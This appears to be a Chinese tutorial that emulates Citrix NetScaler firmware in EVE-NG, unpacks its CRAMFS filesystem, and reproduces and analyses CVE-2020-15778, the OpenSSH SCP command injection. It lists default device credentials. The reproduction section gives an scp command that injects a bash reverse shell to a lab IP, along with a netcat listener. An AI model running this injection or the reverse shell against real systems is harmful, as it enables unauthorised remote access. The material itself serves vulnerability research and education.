citrix防火墙固件仿真,ssh服务分析与漏洞复现
字数 1431 2025-08-06 18:07:54
Citrix防火墙固件仿真与SSH服务漏洞分析复现
0x01 环境搭建
EVE-NG环境配置
-
安装EVE-NG虚拟机环境
- 默认凭据:admin/eve,root/eve
- 官网可查看支持的防火墙镜像
-
镜像准备
- 将Citrix防火墙固件(.qcow2)放入EVE指定目录
- 路径要求:
/opt/unetlab/addons/qemu/ - 命名规则必须符合官方要求(参考nsvpx-10.5.54.9009示例)
-
权限修正
/opt/unetlab/wrappers/unl_wrapper -a fixpermissions -
网络配置
- 新建lab并添加节点
- 配置网口、CPU、内存等参数
- 设备状态变蓝表示启动成功
网络问题解决
- 初始问题:防火墙IP(192.168.100.1)与EVE系统IP(192.168.203.82)不通
- 解决方案:
- 添加cloud1网络
- 在VMware中为EVE系统添加网口连接到VMnet1
- 配置VMnet1 IP与防火墙同网段
- 防火墙默认凭据:nsroot/nsroot
0x02 固件解包
固件获取与初步分析
- 从官网下载固件压缩包
- 解压后主要关注.bin文件
- 使用010Editor比对不同.bin文件差异
解包工具与方法
-
初始使用binwalk递归解包
binwalk -eMe firmware.bin -
手动解包CRAMFS文件系统
- 安装工具:
sudo dpkg -i cramfsprogs_1.1-6ubuntu1_amd64.deb - 解包命令:
cramfsck -x dirname filename - 打包命令:
mkcramfs dirname outfile
- 安装工具:
-
文件提取技巧
- 通过运行环境提取文件:
python -m SimpleHTTPServer 8000
- 通过运行环境提取文件:
0x03 SSH服务与OpenSSH漏洞复现
SSH服务分析
-
服务组成:
- 传输层协议:提供服务器认证、保密性、完整性
- 用户认证协议:认证客户端用户
- 连接协议:多路加密隧道
-
服务验证:
- 默认开启SSH服务
- 登录后可进入shell
- 查看OpenSSH版本
CVE-2020-15778漏洞复现
-
漏洞信息:
- CVE编号:CVE-2020-15778
- 影响版本:<= openssh-8.3p1
- 漏洞描述:SCP命令注入漏洞
-
利用条件:
- 知道目标SSH密码
- 允许使用SCP(即使SSH登录被禁用)
- 远程服务器允许使用反引号(`)
-
利用步骤:
- 攻击机设置监听:
nc -lvp 9999 - 执行SCP命令注入:
scp 1.tgz nsroot@192.168.100.1:'bash -c "bash -i >& /dev/tcp/192.168.100.6/9999 0>&1"'
- 攻击机设置监听:
0x04 OpenSSH(SCP)漏洞点分析
SCP工作原理
-
传输模式:
- 本地<->远程
- 远程<->远程(通过本地中转)
- 远程<->远程(直接)
-
进程交互:
- 客户端SCP进程通过SSH子进程与服务器通信
- 服务器端SSHD进程创建SCP子进程处理请求
- 通过管道和标准输入输出重定向实现数据交换
漏洞成因分析
-
关键代码流程:
- main()处理参数
- toremote()/tolocal()根据传输方向选择处理方式
- do_cmd()创建SSH子进程并建立通信管道
-
注入点:
- 文件名参数拼接后直接传入bash执行
- 反引号和$()在bash中的命令执行特性
- 服务器端SCP进程对文件名参数处理不当
动态调试方法
-
调试挑战:
- SCP进程是临时创建的
- 需要attach到SSHD子进程
-
调试步骤:
- 查找SSHD进程:
ps aux | grep sshd - 附加调试器:
gdb attach <pid> - 观察SCP请求处理流程
- 查找SSHD进程:
总结
本教学文档详细介绍了从Citrix防火墙固件仿真环境搭建到SSH服务漏洞复现的全过程,重点包括:
- EVE-NG虚拟环境的特殊配置要求
- CRAMFS文件系统的专业解包方法
- OpenSSH SCP漏洞的精准复现步骤
- 命令注入漏洞的底层机制分析
- 动态调试SSH相关进程的技巧
关键注意事项:
- 镜像命名和路径必须严格符合EVE-NG要求
- 网络配置是环境搭建的最大难点
- CRAMFS解包需要专用工具
- 漏洞利用需要特定网络条件
- 动态调试需要捕捉临时进程